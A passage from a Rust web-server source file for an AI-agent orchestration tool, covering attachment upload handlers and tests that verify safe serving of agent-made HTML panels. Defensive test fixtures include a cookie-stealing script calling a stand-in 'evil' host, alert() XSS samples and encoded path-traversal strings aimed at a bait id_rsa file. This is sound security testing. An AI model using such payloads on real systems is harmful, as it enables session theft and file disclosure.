4766 let id = resolve_talk(&ui.talks, &id)?;
4767 let mut talk = ui.talks.get(&id)?;
4768 talk::reopen(&mut talk, &ui.talks)?;
4769 let thinking = ui.is_thinking(&talk.id);
4770 Ok(Json(TalkView::new(talk, thinking)))
4771 })
4772 .await
4773}
4774
4775async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4785 blocking(move || {
4786 let id = resolve_talk(&ui.talks, &id)?;
4787 ui.talks.remove(&id)?;
4788 Ok(StatusCode::NO_CONTENT)
4789 })
4790 .await
4791}
4792
4793fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4795 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4796}
4797
4798async fn talk_attachment_post(
4801 State(ui): State<Arc<Ui>>,
4802 Path(id): Path<String>,
4803 headers: HeaderMap,
4804 body: Bytes,
4805) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4806 let mime = validate_attachment(&headers, &body)?;
4807 let name = filename_header(&headers);
4808 let data = body.to_vec();
4809 blocking(move || {
4810 let id = resolve_talk(&ui.talks, &id)?;
4811 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4812 Ok((StatusCode::CREATED, Json(att)))
4813 })
4814 .await
4815}
4816
4817async fn talk_attachment_get(
4820 State(ui): State<Arc<Ui>>,
4821 Path((id, att)): Path<(String, String)>,
4822) -> ApiResult<Response> {
4823 blocking(move || {
4824 let id = resolve_talk(&ui.talks, &id)?;
4825 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4826 return Err(ApiError::not_found(format!(
4827 "talk {id} has no attachment `{att}`"
4828 )));
4829 };
4830 Ok(attachment_response(&meta.mime, data))
4831 })
4832 .await
4833}
4834
4835fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4846 if data.len() > ATTACHMENT_MAX_BYTES {
4847 return Err(ApiError::bad_request(format!(
4848 "attachment is {} bytes, over the {} MiB limit",
4849 data.len(),
4850 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4851 ))
4852 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4853 }
4854 if data.is_empty() {
4855 return Err(ApiError::bad_request("attachment is empty"));
4856 }
4857 let declared = declared_mime(headers)?;
4858 match sniffed_mime(data) {
4859 Some(sniffed) if sniffed == declared => Ok(declared),
4860 Some(sniffed) => Err(ApiError::bad_request(format!(
4861 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4862 ))),
4863 None => Err(ApiError::bad_request(
4864 "the file's bytes do not match any accepted image format",
4865 )),
4866 }
4867}
4868
4869fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4873 let raw = headers
4874 .get(header::CONTENT_TYPE)
4875 .and_then(|v| v.to_str().ok())
4876 .unwrap_or("")
4877 .split(';')
4878 .next()
4879 .unwrap_or("")
4880 .trim()
4881 .to_ascii_lowercase();
4882 ATTACHMENT_MIME_WHITELIST
4883 .iter()
4884 .find(|&&m| m == raw)
4885 .copied()
4886 .ok_or_else(|| {
4887 if raw == "image/svg+xml" {
4888 ApiError::bad_request(
4889 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4890 not just a picture",
4891 )
4892 } else if raw.is_empty() {
4893 ApiError::bad_request("Content-Type is required for an attachment upload")
4894 } else {
4895 ApiError::bad_request(format!(
4896 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4897 image/gif or image/webp"
4898 ))
4899 }
4900 })
4901}
4902
4903fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4906 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4907 Some("image/png")
4908 } else if data.starts_with(b"\xff\xd8\xff") {
4909 Some("image/jpeg")
4910 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4911 Some("image/gif")
4912 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4913 Some("image/webp")
4914 } else {
4915 None
4916 }
4917}
4918
4919fn filename_header(headers: &HeaderMap) -> String {
4925 headers
4926 .get(FILENAME_HEADER)
4927 .and_then(|v| v.to_str().ok())
4928 .map(str::trim)
4929 .filter(|s| !s.is_empty())
4930 .unwrap_or("attachment")
4931 .to_owned()
4932}
4933
4934fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4941 let content_type = ATTACHMENT_MIME_WHITELIST
4942 .iter()
4943 .find(|&&m| m == mime)
4944 .copied()
4945 .unwrap_or("application/octet-stream");
4946 (
4947 [
4948 (header::CONTENT_TYPE, content_type),
4949 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4950 ],
4951 body,
4952 )
4953 .into_response()
4954}
4955
4956async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4964 let repo = repo.to_path_buf();
4965 blocking(move || {
4966 let (cfg, _) = Config::discover(&repo, None)?;
4967 Ok(cfg)
4968 })
4969 .await
4970}
4971
4972fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4978 let mut hits = ids
4979 .into_iter()
4980 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4981 match (hits.next(), hits.next()) {
4982 (Some(one), None) => Ok(one),
4983 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4984 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4985 "`{prefix}` matches more than one {what}, including {a} and {b}"
4986 ))),
4987 }
4988}
4989
4990#[cfg(test)]
4991mod tests {
4992
4993 #[test]
4994 fn holder_reads_the_lease_not_the_record() {
4995 let mut q = Question::new(
4996 "run".to_owned(),
4997 "implement".to_owned(),
4998 "impl-A".to_owned(),
4999 "which?".to_owned(),
5000 String::new(),
5001 Vec::new(),
5002 );
5003 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5004 q.cwd = Some("/tmp".to_owned());
5005 assert_eq!(holder_of(&q, None), Some("nobody"));
5006 let beat = |kind, ago: i64| ask::Lease {
5007 kind,
5008 pid: 1,
5009 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5010 .unwrap(),
5011 };
5012 let fresh = beat(ask::WaiterKind::Asker, 1);
5013 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5014 let daemon = beat(ask::WaiterKind::Daemon, 1);
5015 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5016 let stale = beat(ask::WaiterKind::Asker, 3600);
5017 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5018 }
5019 use pretty_assertions::assert_eq;
5020 use serde_json::Value;
5021 use tempfile::TempDir;
5022 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5023
5024 use super::*;
5025 use crate::config::Config;
5026 use crate::queue::{Source, TaskStatus};
5027
5028 const SETTLE_STEPS: usize = 3_000;
5039
5040 struct Fixture {
5046 home: TempDir,
5047 addr: SocketAddr,
5048 }
5049
5050 impl Fixture {
5051 async fn start() -> Self {
5052 Self::with_loop(launch_idle).await
5053 }
5054
5055 async fn with_loop(launch: Launch) -> Self {
5057 let home = TempDir::new().expect("temp home");
5058 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5059 Self { home, addr }
5060 }
5061
5062 async fn with_repo(repo: PathBuf) -> Self {
5066 let home = TempDir::new().expect("temp home");
5067 let addr = Self::serve(home.path(), repo, launch_idle).await;
5068 Self { home, addr }
5069 }
5070
5071 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5072 let queue = Queue::at(home.join("queue"));
5073 let runs = home.join("runs");
5074 std::fs::create_dir_all(&runs).expect("runs dir");
5075 let worktrees = home.join("wt").join("magi");
5076 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5077 let ui = Ui::new(
5078 queue,
5079 Questions::at(home.join("questions")),
5080 Talks::at(home.join("talks")),
5081 runs,
5082 home.to_path_buf(),
5083 repo,
5084 )
5085 .with_worktrees_root(worktrees)
5086 .with_launch(launch);
5087 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5088 .await
5089 .expect("bind loopback");
5090 let addr = listener.local_addr().expect("local addr");
5091 tokio::spawn(async move {
5092 let _ = axum::serve(listener, ui.router()).await;
5093 });
5094 addr
5095 }
5096
5097 fn queue(&self) -> Queue {
5098 Queue::at(self.home.path().join("queue"))
5099 }
5100
5101 fn questions(&self) -> Questions {
5102 Questions::at(self.home.path().join("questions"))
5103 }
5104
5105 fn talks(&self) -> Talks {
5106 Talks::at(self.home.path().join("talks"))
5107 }
5108
5109 fn runs(&self) -> PathBuf {
5110 self.home.path().join("runs")
5111 }
5112
5113 async fn get(&self, path: &str) -> Res {
5114 request(self.addr, "GET", path, None).await
5115 }
5116
5117 async fn head(&self, path: &str) -> Res {
5122 request(self.addr, "HEAD", path, None).await
5123 }
5124
5125 async fn post(&self, path: &str, body: Option<&str>) -> Res {
5126 request(self.addr, "POST", path, body).await
5127 }
5128
5129 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5130 request_with(self.addr, "GET", path, None, extra).await
5131 }
5132
5133 async fn delete(&self, path: &str) -> Res {
5134 request(self.addr, "DELETE", path, None).await
5135 }
5136
5137 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5139 request_bytes(self.addr, path, headers, body).await
5140 }
5141 }
5142
5143 struct Res {
5144 status: u16,
5145 headers: String,
5146 head: String,
5151 body: String,
5152 bytes: Vec<u8>,
5156 }
5157
5158 impl Res {
5159 fn json(&self) -> Value {
5160 serde_json::from_str(&self.body)
5161 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5162 }
5163
5164 fn header(&self, name: &str) -> Option<&str> {
5166 self.head.lines().find_map(|line| {
5167 let (key, value) = line.split_once(':')?;
5168 key.trim()
5169 .eq_ignore_ascii_case(name)
5170 .then(|| value.trim_start().trim_end_matches('\r'))
5171 })
5172 }
5173 }
5174
5175 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5178 request_with(addr, method, path, body, &[]).await
5179 }
5180
5181 async fn request_with(
5185 addr: SocketAddr,
5186 method: &str,
5187 path: &str,
5188 body: Option<&str>,
5189 extra: &[(&str, &str)],
5190 ) -> Res {
5191 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5192 for (name, value) in extra {
5193 head.push_str(&format!("{name}: {value}\r\n"));
5194 }
5195 if let Some(body) = body {
5196 head.push_str("Content-Type: application/json\r\n");
5197 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5198 }
5199 head.push_str("\r\n");
5200 if let Some(body) = body {
5201 head.push_str(body);
5202 }
5203 let mut socket = tokio::net::TcpStream::connect(addr)
5204 .await
5205 .expect("connect to the test server");
5206 socket
5207 .write_all(head.as_bytes())
5208 .await
5209 .expect("write request");
5210 let mut raw = Vec::new();
5211 socket.read_to_end(&mut raw).await.expect("read response");
5212 let split = raw
5215 .windows(4)
5216 .position(|w| w == b"\r\n\r\n")
5217 .expect("a header block");
5218 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5219 let bytes = raw[split + 4..].to_vec();
5220 let status = head
5221 .lines()
5222 .next()
5223 .and_then(|line| line.split_whitespace().nth(1))
5224 .and_then(|code| code.parse().ok())
5225 .expect("a status line");
5226 Res {
5227 status,
5228 headers: head.to_lowercase(),
5229 head,
5230 body: String::from_utf8_lossy(&bytes).into_owned(),
5231 bytes,
5232 }
5233 }
5234
5235 async fn request_bytes(
5241 addr: SocketAddr,
5242 path: &str,
5243 headers: &[(&str, &str)],
5244 body: &[u8],
5245 ) -> Res {
5246 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5247 for (name, value) in headers {
5248 head.push_str(&format!("{name}: {value}\r\n"));
5249 }
5250 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5251 let mut socket = tokio::net::TcpStream::connect(addr)
5252 .await
5253 .expect("connect to the test server");
5254 socket
5255 .write_all(head.as_bytes())
5256 .await
5257 .expect("write request head");
5258 socket.write_all(body).await.expect("write request body");
5259 let mut raw = Vec::new();
5260 socket.read_to_end(&mut raw).await.expect("read response");
5261 let split = raw
5262 .windows(4)
5263 .position(|w| w == b"\r\n\r\n")
5264 .expect("a header block");
5265 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5266 let bytes = raw[split + 4..].to_vec();
5267 let status = head
5268 .lines()
5269 .next()
5270 .and_then(|line| line.split_whitespace().nth(1))
5271 .and_then(|code| code.parse().ok())
5272 .expect("a status line");
5273 Res {
5274 status,
5275 headers: head.to_lowercase(),
5276 head,
5277 body: String::from_utf8_lossy(&bytes).into_owned(),
5278 bytes,
5279 }
5280 }
5281
5282 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5284 let mut state = RunState::new(
5285 PathBuf::from("/repo/magi"),
5286 "main".to_owned(),
5287 "0123456789abcdef".to_owned(),
5288 "Add a web UI\n\nMobile first.".to_owned(),
5289 Config::default(),
5290 );
5291 state.id = id.to_owned();
5292 state.status = status;
5293 let dir = runs.join(id);
5294 std::fs::create_dir_all(&dir).expect("run dir");
5295 std::fs::write(
5296 dir.join("run.json"),
5297 serde_json::to_string_pretty(&state).expect("serialize run"),
5298 )
5299 .expect("write run.json");
5300 }
5301
5302 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5306 let mut state = RunState::new(
5307 PathBuf::from(repo),
5308 "main".to_owned(),
5309 "0123456789abcdef".to_owned(),
5310 "task".to_owned(),
5311 Config::default(),
5312 );
5313 state.id = id.to_owned();
5314 state.status = status;
5315 let dir = runs.join(id);
5316 std::fs::create_dir_all(&dir).expect("run dir");
5317 std::fs::write(
5318 dir.join("run.json"),
5319 serde_json::to_string_pretty(&state).expect("serialize run"),
5320 )
5321 .expect("write run.json");
5322 }
5323
5324 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5325 let body = serde_json::json!({
5326 "schema": 1,
5327 "pid": 4242,
5328 "started_at": Timestamp::now().to_string(),
5329 "updated_at": updated_at.to_string(),
5330 "idle": false,
5331 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5332 "completed": 7,
5333 "polls": 143,
5334 });
5335 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5336 }
5337
5338 fn launch_idle(
5348 _opts: daemon::Opts,
5349 stop: daemon::Stop,
5350 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5351 Box::pin(async move {
5352 while !stop.stopped() {
5353 tokio::time::sleep(Duration::from_millis(2)).await;
5354 }
5355 Ok(())
5356 })
5357 }
5358
5359 fn launch_broken(
5362 _opts: daemon::Opts,
5363 _stop: daemon::Stop,
5364 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5365 Box::pin(async {
5366 Err(anyhow::anyhow!(
5367 "publish the daemon status file: read-only file system"
5368 ))
5369 })
5370 }
5371
5372 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5379 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5380
5381 fn launch_knocking_on_the_way_out(
5388 _opts: daemon::Opts,
5389 stop: daemon::Stop,
5390 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5391 Box::pin(async move {
5392 while !stop.stopped() {
5393 tokio::time::sleep(Duration::from_millis(2)).await;
5394 }
5395 let addr = PARK_KNOCK
5396 .lock()
5397 .expect("park knock")
5398 .expect("the test set an address");
5399 let heard = request(addr, "GET", "/api/health", None).await.status;
5400 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5401 Ok(())
5402 })
5403 }
5404
5405 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5414 for _ in 0..SETTLE_STEPS {
5415 let view = fx.get("/api/loop").await.json();
5416 if want(&view) {
5417 return view;
5418 }
5419 tokio::time::sleep(Duration::from_millis(10)).await;
5420 }
5421 panic!(
5422 "the loop never settled: {}",
5423 fx.get("/api/loop").await.json()
5424 );
5425 }
5426
5427 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5429 let store = fx.questions();
5430 let mut q = Question::new(
5431 "20260902-000000-beef".to_owned(),
5432 "implement".to_owned(),
5433 "impl-A".to_owned(),
5434 summary.to_owned(),
5435 "because it matters".to_owned(),
5436 choices.iter().map(|c| (*c).to_owned()).collect(),
5437 );
5438 store.put(&mut q).expect("put question");
5439 q.id
5440 }
5441
5442 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5448 let store = fx.questions();
5449 let mut q = Question::new(
5450 "20260902-000000-beef".to_owned(),
5451 "land".to_owned(),
5452 "fix".to_owned(),
5453 "Merge this?".to_owned(),
5454 "the diff is in the panel".to_owned(),
5455 vec!["merge".to_owned(), "hold".to_owned()],
5456 );
5457 let staging = fx.home.path().join("staging");
5460 std::fs::create_dir_all(&staging).expect("staging dir");
5461 let sources: Vec<PathBuf> = assets
5462 .iter()
5463 .map(|(name, bytes)| {
5464 let path = staging.join(name);
5465 std::fs::write(&path, bytes).expect("write staged asset");
5466 path
5467 })
5468 .collect();
5469 store
5470 .put_panel(&mut q, html, &sources)
5471 .expect("write the panel");
5472 store.put(&mut q).expect("put question");
5473 q.id
5474 }
5475
5476 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5485 let store = fx.talks();
5486 std::fs::create_dir_all(store.root()).expect("talks dir");
5487 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5488 .expect("serialize a seat");
5489 let body = serde_json::json!({
5490 "schema": 1,
5491 "id": id,
5492 "repo": "/repo/magi",
5493 "agent": "mock",
5494 "status": status,
5495 "turns": [],
5496 "created_at": Timestamp::now().to_string(),
5497 "updated_at": Timestamp::now().to_string(),
5498 "seat": seat,
5499 });
5500 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5501 store.get(id).expect("the seeded talk has to be readable");
5502 id.to_owned()
5503 }
5504
5505 #[tokio::test]
5506 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5507 let fx = Fixture::start().await;
5508 let id = panel(
5509 &fx,
5510 "<h1>Merge?</h1><img src=\"diff.svg\">",
5511 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5512 );
5513
5514 for path in [
5515 format!("/api/questions/{id}/panel"),
5516 format!("/api/questions/{id}/asset/diff.svg"),
5517 ] {
5518 let res = fx.get(&path).await;
5519 assert_eq!(res.status, 200, "{path}: {}", res.body);
5520 assert_eq!(
5526 res.header("content-security-policy"),
5527 Some(
5528 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5529 font-src data:; base-uri 'none'; form-action 'none'; \
5530 frame-ancestors 'self'"
5531 ),
5532 "{path} is the only thing between a hostile panel and the tailnet"
5533 );
5534 assert_eq!(
5535 res.header("x-content-type-options"),
5536 Some("nosniff"),
5537 "{path}: a browser must not re-decide the type we sent"
5538 );
5539 assert_eq!(
5540 res.header("referrer-policy"),
5541 Some("no-referrer"),
5542 "{path}: a panel must not leak the question id off the machine"
5543 );
5544
5545 let pre = fx.head(&path).await;
5550 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5551 assert_eq!(
5552 pre.header("content-security-policy"),
5553 res.header("content-security-policy"),
5554 "{path}: the preflight carries the same policy"
5555 );
5556 assert_eq!(
5557 pre.header("content-type"),
5558 res.header("content-type"),
5559 "{path}: the preflight carries the same type"
5560 );
5561 }
5562 }
5563
5564 #[tokio::test]
5565 async fn a_panel_reaches_the_browser_byte_for_byte() {
5566 let fx = Fixture::start().await;
5567 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5572 let id = panel(&fx, html, &[]);
5573
5574 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5575
5576 assert_eq!(res.status, 200);
5577 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5578 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5579 assert_eq!(
5580 res.header("content-disposition"),
5581 None,
5582 "the panel itself is rendered in the frame, not downloaded"
5583 );
5584 }
5585
5586 #[tokio::test]
5587 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5588 let fx = Fixture::start().await;
5589 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5590 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5591 let id = panel(
5592 &fx,
5593 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5594 &[("diff.svg", svg), ("shot.png", png)],
5595 );
5596
5597 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5598 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5599
5600 assert_eq!(as_svg.status, 200);
5601 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5602 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5607
5608 assert_eq!(as_png.status, 200);
5609 assert_eq!(as_png.header("content-type"), Some("image/png"));
5610 assert_eq!(
5611 as_png.header("content-disposition"),
5612 None,
5613 "a raster image has no execution surface, so tapping it still shows it"
5614 );
5615 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5616 }
5617
5618 #[tokio::test]
5619 async fn an_html_asset_is_never_served_as_html() {
5620 let fx = Fixture::start().await;
5621 let id = panel(
5622 &fx,
5623 "<p>see the notes</p>",
5624 &[
5625 (
5626 "notes.html",
5627 b"<script>fetch('http://evil/'+document.cookie)</script>",
5628 ),
5629 ("hook.js", b"fetch('http://evil/')"),
5630 ("data.json", b"{}"),
5631 ("HEADLINE.TXT", b"plain"),
5632 ],
5633 );
5634
5635 for name in ["notes.html", "hook.js", "data.json"] {
5636 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5637 assert_eq!(res.status, 200, "{name}: {}", res.body);
5638 assert_eq!(
5643 res.header("content-type"),
5644 Some("application/octet-stream"),
5645 "{name} must not be a type the browser will execute or render"
5646 );
5647 }
5648 let txt = fx
5651 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5652 .await;
5653 assert_eq!(
5654 txt.header("content-type"),
5655 Some("text/plain; charset=utf-8")
5656 );
5657 }
5658
5659 #[tokio::test]
5660 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5661 let fx = Fixture::start().await;
5662 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5663 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5667
5668 for encoded in [
5675 "%2e%2e%2fid_rsa",
5676 "..%2fid_rsa",
5677 "..%5cid_rsa",
5678 "%2e%2e%5cid_rsa",
5679 "diff%00.svg",
5680 "..",
5681 ".hidden",
5682 "%2e%2e%2f%2e%2e%2fid_rsa",
5683 ] {
5684 let res = fx
5685 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5686 .await;
5687 assert_eq!(
5688 res.status, 400,
5689 "`{encoded}` has to be refused by name, not looked up: {}",
5690 res.body
5691 );
5692 assert!(res.json()["error"].is_string(), "{}", res.body);
5693 }
5694
5695 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5701 let res = fx
5702 .get(&format!("/api/questions/{id}/asset/{literal}"))
5703 .await;
5704 assert_eq!(
5705 res.status, 404,
5706 "`{literal}` must not match the asset route at all: {}",
5707 res.body
5708 );
5709 }
5710 }
5711
5712 #[tokio::test]
5713 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5714 let fx = Fixture::start().await;
5715 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5716 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5717
5718 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5722 assert_eq!(none.status, 404, "{}", none.body);
5723 assert!(none.json()["error"].is_string(), "{}", none.body);
5724 assert_eq!(
5725 fx.head(&format!("/api/questions/{plain}/panel"))
5726 .await
5727 .status,
5728 404,
5729 "the preflight is the only way the client can learn this"
5730 );
5731
5732 let missing = fx
5734 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5735 .await;
5736 assert_eq!(missing.status, 404, "{}", missing.body);
5737 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5738
5739 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5741 assert_eq!(
5742 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5743 404
5744 );
5745 }
5746
5747 #[tokio::test]
5748 async fn a_run_with_an_open_question_reads_as_waiting() {
5749 let fx = Fixture::start().await;
5750 let run = "20260902-000000-beef".to_owned();
5751 write_run(&fx.runs(), &run, RunStatus::Implementing);
5752
5753 let before = fx.get("/api/runs").await.json();
5754 assert_eq!(before[0]["waiting"], false, "{before}");
5755
5756 let store = fx.questions();
5757 let mut q = Question::new(
5758 run.clone(),
5759 "implement".to_owned(),
5760 "impl-A".to_owned(),
5761 "Which backend?".to_owned(),
5762 String::new(),
5763 vec!["SQLite".to_owned()],
5764 );
5765 store.put(&mut q).expect("put");
5766
5767 let during = fx.get("/api/runs").await.json();
5768 assert_eq!(during[0]["waiting"], true, "{during}");
5769
5770 q.answer(Answer::Choice("SQLite".to_owned()))
5773 .expect("answer");
5774 store.put(&mut q).expect("put");
5775 let after = fx.get("/api/runs").await.json();
5776 assert_eq!(after[0]["waiting"], false, "{after}");
5777 }
5778
5779 #[tokio::test]
5780 async fn an_open_question_is_listed_and_counted_by_health() {
5781 let fx = Fixture::start().await;
5782 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5783
5784 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5785 let listed = fx.get("/api/questions").await.json();
5786 assert_eq!(listed.as_array().expect("array").len(), 1);
5787 assert_eq!(listed[0]["id"], id);
5788 assert_eq!(listed[0]["status"], "open");
5789 assert_eq!(listed[0]["choices"][1], "Redis");
5790 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5793 }
5794
5795 #[tokio::test]
5796 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5797 let fx = Fixture::start().await;
5798 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5799 let path = format!("/api/questions/{id}/answer");
5800
5801 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5802 assert_eq!(res.status, 200, "{}", res.body);
5803 let body = res.json();
5804 assert_eq!(body["status"], "answered");
5805 assert_eq!(body["answer"]["choice"], "Redis");
5806
5807 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5811 assert_eq!(again.status, 409, "{}", again.body);
5812 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5813 }
5814
5815 #[tokio::test]
5816 async fn saying_something_appends_a_turn_without_answering() {
5817 let fx = Fixture::start().await;
5818 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5819 let path = format!("/api/questions/{id}/say");
5820
5821 let res = fx
5822 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5823 .await;
5824 assert_eq!(res.status, 200, "{}", res.body);
5825 let body = res.json();
5826 assert_eq!(body["status"], "open", "talking back is not a decision");
5827 assert_eq!(body["answer"], Value::Null);
5828 assert_eq!(body["thread"][0]["who"], "operator");
5829 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5830 assert_eq!(body["waiting_on_agent"], true);
5831 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5833 }
5834
5835 #[tokio::test]
5836 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5837 let fx = Fixture::start().await;
5838 let store = fx.questions();
5839 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5840 assert_eq!(
5841 fx.get("/api/health").await.json()["questions_needs_owner"],
5842 1
5843 );
5844
5845 let res = fx
5851 .post(
5852 &format!("/api/questions/{id}/say"),
5853 Some(r#"{"body":"why not Postgres?"}"#),
5854 )
5855 .await;
5856 assert_eq!(res.status, 200, "{}", res.body);
5857 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5858 assert_eq!(
5859 fx.get("/api/health").await.json()["questions_needs_owner"],
5860 0,
5861 "waiting on the agent is not waiting on the owner"
5862 );
5863
5864 let mut q = store.get(&id).expect("get");
5868 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5869 .expect("reply");
5870 store.put(&mut q).expect("put");
5871 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5872 assert_eq!(
5873 fx.get("/api/health").await.json()["questions_needs_owner"],
5874 1,
5875 "the agent's reply is what should light the banner back up"
5876 );
5877 }
5878
5879 #[tokio::test]
5880 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5881 let fx = Fixture::start().await;
5882 let store = fx.questions();
5883
5884 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5885 let res = fx
5886 .post(
5887 &format!("/api/questions/{empty_id}/say"),
5888 Some(r#"{"body":" "}"#),
5889 )
5890 .await;
5891 assert_eq!(res.status, 400, "{}", res.body);
5892
5893 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5894 let mut answered = store.get(&answered_id).expect("get");
5895 answered
5896 .answer(Answer::Choice("SQLite".to_owned()))
5897 .expect("answer");
5898 store.put(&mut answered).expect("put");
5899 let res = fx
5900 .post(
5901 &format!("/api/questions/{answered_id}/say"),
5902 Some(r#"{"body":"still there?"}"#),
5903 )
5904 .await;
5905 assert_eq!(res.status, 409, "{}", res.body);
5906
5907 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5908 let mut abandoned = store.get(&abandoned_id).expect("get");
